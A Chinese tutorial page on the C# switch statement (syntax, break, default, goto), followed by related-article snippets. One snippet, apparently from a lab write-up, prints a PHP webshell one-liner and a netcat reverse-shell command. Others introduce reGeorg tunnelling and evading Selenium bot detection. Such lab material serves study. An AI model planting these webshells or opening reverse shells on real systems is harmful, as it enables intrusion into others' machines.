C#的Switch语句(在C#中如何根据结果执行不同的代码)

文章目录

  • 基本语法
    • 示例
  • 注意
  • 使用goto
    • 跳转其他标签

基本语法

switch语句是一种选择结构,用于基于某个表达式的值执行不同的代码块。它提供了一种更简洁、更易读的方式来处理多路分支逻辑,相比于多个嵌套的if…else if…else语句。下面是switch语句的基本语法和用法说明:

switch (expression)
{case constantExpression1:// 执行的代码块1break;case constantExpression2:// 执行的代码块2break;// ... 可以有更多case语句default:// 如果没有匹配的case,执行这里的代码块(可选)break;
}

expression: 这是一个要评估的表达式,其结果会与各个case标签后的常量表达式进行比较。

constantExpression1, constantExpression2, ...: 这些是与expression结果比较的常量值。

switch语句的测试限于离散的值。

离散的值,指的是在一个集合或数列中,各数值之间彼此独立,不存在介于两者之间的其他可能值,这样的值我们称之为离散值。换句话说,离散值不构成连续的序列,它们是可数的,且是彼此分离的,没有无限细分的可能。

比如说,骰子掷出的点数,当掷一个标准的六面骰子时,可能的结果是1、2、3、4、5、6,这些都是离散的值,因为不存在介于这些整数之间的结果。

或者学生的班级排名,比如在一个班级里,学生按照成绩排名,第1名、第2名、……直到第n名,这些排名是离散的,你不能有“第1.5名”。

又或者足球比赛的进球数,一场足球比赛结束时,一支队伍可能进0球、1球、2球等,这些进球数是明确可数的,不存在0.5个进球这样的情况。

这意味着它只能用来比较表达式的值是否与预定义的一系列具体的值相等。这些值可以是整数、字符、枚举值,或者在C# 7.0及以后版本中,case标签也可以是字符串元组、以及使用when子句进行更复杂的条件检查。模式匹配功能允许更复杂的模式,包括类型模式和属性模式等。这让switch能够处理更广泛的情况,但核心上仍然是基于离散值或明确的匹配条件来进行判断。

注意,仅限于离散值,也就是说你不能直接用switch来测试一个范围内的值(比如年龄是否在18到65之间),或者浮点数的精确相等(因为浮点运算可能存在误差),而是需要将这类连续的或非精确的比较转化为对离散值的检查,比如通过区间划分成具体的 case。

  • break: 当匹配到一个case后,执行相应代码块,然后遇到break会跳出switch语句。如果不写break,则会继续执行下一个case,这称为“贯穿”(fall through)。
  • default: 这是一个可选的标签,表示如果没有case匹配到expression的结果时执行的代码块。

示例

        int dayOfWeek = (int)DateTime.Now.DayOfWeek;switch (dayOfWeek){case 1:Console.WriteLine("星期一");break;case 2:Console.WriteLine("星期二");break;case 3:Console.WriteLine("星期三");break;// ...default:Console.WriteLine("这是一个周末或其他未指定的日子");break;}

注意

每个case标签后面的代码块可以为空,但如果有执行语句,则通常需要跟随一个break来防止贯穿,如下所示。

        int age=2;switch (age){case 1:// 执行的代码块1break;case 2:default:// 如果没有匹配的case,执行这里的代码块(可选)break;}

default部分可以位于switch语句的任何位置,但习惯上放在最后。

使用goto

在C#中,switch语句主要用于基于不同的条件执行不同块的代码,而goto语句提供了一种无条件跳转的机制。虽然在C#中使用goto是合法的,但在switch语句内部使用它并不是典型的做法,因为C#提供了更结构化的控制流机制,如breakcontinue、以及模式匹配(在C# 7.0及以上版本中增强的switch语句)。

不过你还是可以在C#的switch语句外部使用goto来改变控制流程,包括跳过switch块或跳转到特定的代码段。但请注意,过度依赖goto可能会导致代码难以阅读和维护。

下面的C#示例展示了一个非常规的用法,其中goto用于在switch外部跳过部分代码块,但请注意这并非推荐的编码规范:

    static void Main(){StartMenu:Console.WriteLine("\n欢迎来到导航示例!");Console.WriteLine("请选择一个选项:");Console.WriteLine("1. 转到信息板块");Console.WriteLine("2. 转到行动板块");Console.WriteLine("3. 退出");string input = Console.ReadLine();if (!int.TryParse(input, out int choice) || choice < 1 || choice > 3){Console.WriteLine("无效的选择。请重试。");goto StartMenu; // 返回开始菜单}switch (choice){case 1:goto InformationSection;case 2:goto ActionSection;case 3:Console.WriteLine("正在退出程序。再见!");return;default:// 这里实际上不会被执行,因为前面已经做了检查,但为了完整性保留break;}InformationSection:Console.WriteLine("\n--- 信息板块 ---");Console.WriteLine("在这里您可以找到详细信息。");Console.WriteLine("按任意键返回菜单。");Console.ReadKey();goto StartMenu; // 返回开始菜单ActionSection:Console.WriteLine("\n--- 行动板块 ---");Console.WriteLine("在这里您可以执行操作。");Console.WriteLine("按任意键返回菜单。");Console.ReadKey();goto StartMenu; // 返回开始菜单}

在这里插入图片描述

跳转其他标签

        int action = 1; // 示例中的动作选择switch (action){case 1:Console.WriteLine("执行动作1的逻辑...");goto case 2; // 从case 1跳转到case 2,不推荐的做法case 2:Console.WriteLine("执行动作2的逻辑...");break;case 3:Console.WriteLine("执行动作3的逻辑...");break;default:Console.WriteLine("未定义的动作。");break;}

在这个示例中,如果action变量的值为1,程序会在执行完case 1的逻辑后,通过goto case 2;直接跳转到case 2继续执行,绕过了正常的流程控制。这种方式虽然可行,但降低了代码的清晰度和可维护性。通常,我们应当在每个case块末尾使用break来更清晰地控制程序的流程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1452226.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

排序算法、堆排序、大顶堆、小顶堆、手写快排-215. 数组中的第K个最大元素、2336. 无限集中的最小数字

目录 215. 数组中的第K个最大元素 题目链接及描述 题目分析 堆排序分析 堆排序代码编写 快排分析 快排代码编写 2336、无限集中的最小数字 题目链接及描述 题目分析 代码编写 215. 数组中的第K个最大元素 题目链接及描述 215. 数组中的第K个最大元素 - 力扣&#…

前端菜鸡流水账日记 -- pnpm的学习

哈咯哇大家&#xff0c;我又来了&#xff0c;最近稍微悠闲一些&#xff0c;所以就趁着这个机会学习一些新的知识&#xff0c;今天就是碰巧遇到了pnm&#xff0c;这个可以看作是npm的升级版本&#xff0c;比npm要快&#xff0c;用起来也更得劲更迅速 官网地址&#xff1a;https…

ArrayList集合+综合案例

数组与集合的区别 ArrayList 概述 是java编写好的一个类,用于表示一个容器,使用的时候,需要注意指定容器中元素的数据类型;(如果不指定,语法不报错,但是取值的时候不方便)注意事项 使用的时候,写ArrayList<元素的数据类型>的数据类型的时候,带着泛型;使用ArrayList集合…

智能资产时代:探索Web3对数字资产的变革

随着科技的不断进步&#xff0c;数字资产的概念已经深入人心。从最初的比特币到如今的多样化数字资产&#xff0c;技术的革新改变了我们对资产的理解和管理方式。作为新一代互联网的核心&#xff0c;Web3正在引领一场关于数字资产的革命。本文将深入探讨Web3如何变革数字资产&a…

达梦数据库备份还原(RPO/RTO)

不带归档的还原&#xff08;还原到备份集的状态&#xff09; 本文使用作业备份数据库数据Linux环境 备份 1.创建代理环境 2.创建作业&#xff08;图片从左到右依次创建&#xff09; 注意备份的路径选择好 这里可以查询备份作业日志 还原 关闭数据库 在终端切换到达梦的bin…

防止Selenium被检测 Google Chrome 125

背景 最近在使用selenium自动播放学习课程&#xff0c;相信大家也有一些类似的使用场景。 能自动化的事情&#xff0c;绝不自己干。 为防止被检测是机器人做题&#xff0c;刷视频&#xff0c;需要做一些小调整。 先来看作为服务方维护者&#xff0c;是如何检测是Selenium打…

Coolify:24.2K 星星!使用全新、开源免费且自托管的替代方案,部署应用程序的最佳工具(停止使用 Vercel)

✨点击这里✨&#xff1a;&#x1f680;原文链接&#xff1a;&#xff08;更好排版、视频播放、社群交流、最新AI开源项目、AI工具分享都在这个公众号&#xff01;&#xff09; Coolify&#xff1a;24.2K 星星&#xff01;使用全新、开源免费且自托管的替代方案&#xff0c;部…

[Python学习篇] Python字符串

字符串是 Python 中最常用的数据类型&#xff0c;一般使用单引号或引号来创建字符串 语法&#xff1a; 字符串变量名A 字符串变量值A 字符串变量名B "字符串变量值B" 示例&#xff1a; a Hello A print(a) b "Hello B" print(b) 字符串特征 一对引号字…

什么是GPT-4

什么是GPT-4 ChatGPT 可以说&#xff0c;ChatGPT的发展&#xff0c;主要的分水岭在GPT-4&#xff0c;GPT-4主要是文本对话&#xff0c;且训练度也不够完善。GPT-4之后不但训练度得到了巨大提升&#xff0c;模型支持的参数量更是预计有1万亿参数&#xff0c;在这之后出现的GPT-4…

智慧场馆:绝对是科技+建筑的完美盛宴,有图有真相。

2024-01-03 14:34贝格前端工场 去年的亚运会&#xff0c;让大家体验了一把建筑科技&#xff0c;现在这个依然成了新趋势&#xff0c;贝格前端工场借此描述下场馆和科技的紧密联络&#xff0c;以及智慧场馆的应用场景。 智慧场馆是指通过科技手段将传统场馆进行升级改造&#…

Polkadot <> Kusama 桥:打造无信任互操作性的开创性范例

原文&#xff1a;https://www.parity.io/blog/trustless-interoperability 作者&#xff1a;Adrian Catangiu&#xff5c;Rust 区块链核心工程师&#xff0c;Parity Technologies 编译&#xff1a;OneBlock Polkadot <> Kusama 桥是无信任互操作性的开创性范例。本文深…

reGeorg隐秘隧道搭建

reGeorg隐秘隧道搭建 【实验目的】 通过学习reGeorg与Proxifier工具使用&#xff0c;实现外网攻击端连接内网主机远程桌面。 【知识点】 python、reGeorg、proxifier。 【实验原理】 在内网渗透中&#xff0c;由于防火墙的存在&#xff0c;导致无法对内网直接发起连接&#xff…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

原码、反码和补码

原码 原码是数字的二进制表示方式&#xff0c;由符号位和绝对值&#xff08;数值位&#xff09;构成。原码的第一位代表符号位&#xff08;0 代表正数&#xff0c;1 代表负数&#xff09;&#xff1b;第二位开始就是数字的绝对值。 反码 反码的表示方法区分正负数。 正数时…

C# Winform内嵌窗体(在主窗体上显示子窗体)

在开发Winform项目中&#xff0c;经常会要切换不同的窗体。通常程序都有一个主窗体&#xff0c;在切换窗体时往往需要关闭其他子窗体&#xff0c;这个实例就来介绍MDI主窗体内嵌子窗体的实现方法。 MDI主窗体要设置一个比较重要的属性&#xff0c;IsMdiContainertrue。子窗体的…

leetcode-09-[232]用栈实现队列[225]用队列实现栈[20]有效的括号[1047]删除字符串中的所有相邻重复项

重点&#xff1a; 栈和队列 Java中 栈不建议用stack来实现 建议用 ArrayDeque和Linkedlist来实现 队列建议用ArrayDeque和Linkedlist来实现 两者效率比较&#xff1a; java - Why is ArrayDeque better than LinkedList - Stack Overflow 基于Linkedlist是链表等&#xff0c;除…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【C++进阶】模板进阶与仿函数:C++编程中的泛型与函数式编程思想

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;栈和队列相关知识 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀模板进阶 &#x1f9e9;<&…

GTC2024全国流量大会,IPIDEA与您共话出海新趋势

在科技与信息化高速发展的今天&#xff0c;流量已成为连接线上线下、推动商业发展的重要驱动力。6月17日至6月18日&#xff0c;深圳福田会展中心即将迎来GTC2024全国流量大会&#xff08;深圳&#xff09;的盛大召开。 GTC全国流量大会作为业内产业链最全、资源最丰富的专业展会…

el-tabl 表格行列转换(表头在左数据在右)

1 效果展示 1 空数据 2 有数据 2 完成代码 2.1 SchedulingTable.vue <template><div class="schedulingTable"><el-row :gutter="1" class="row-center"><el-col :span="3"><el-tag type="&quo…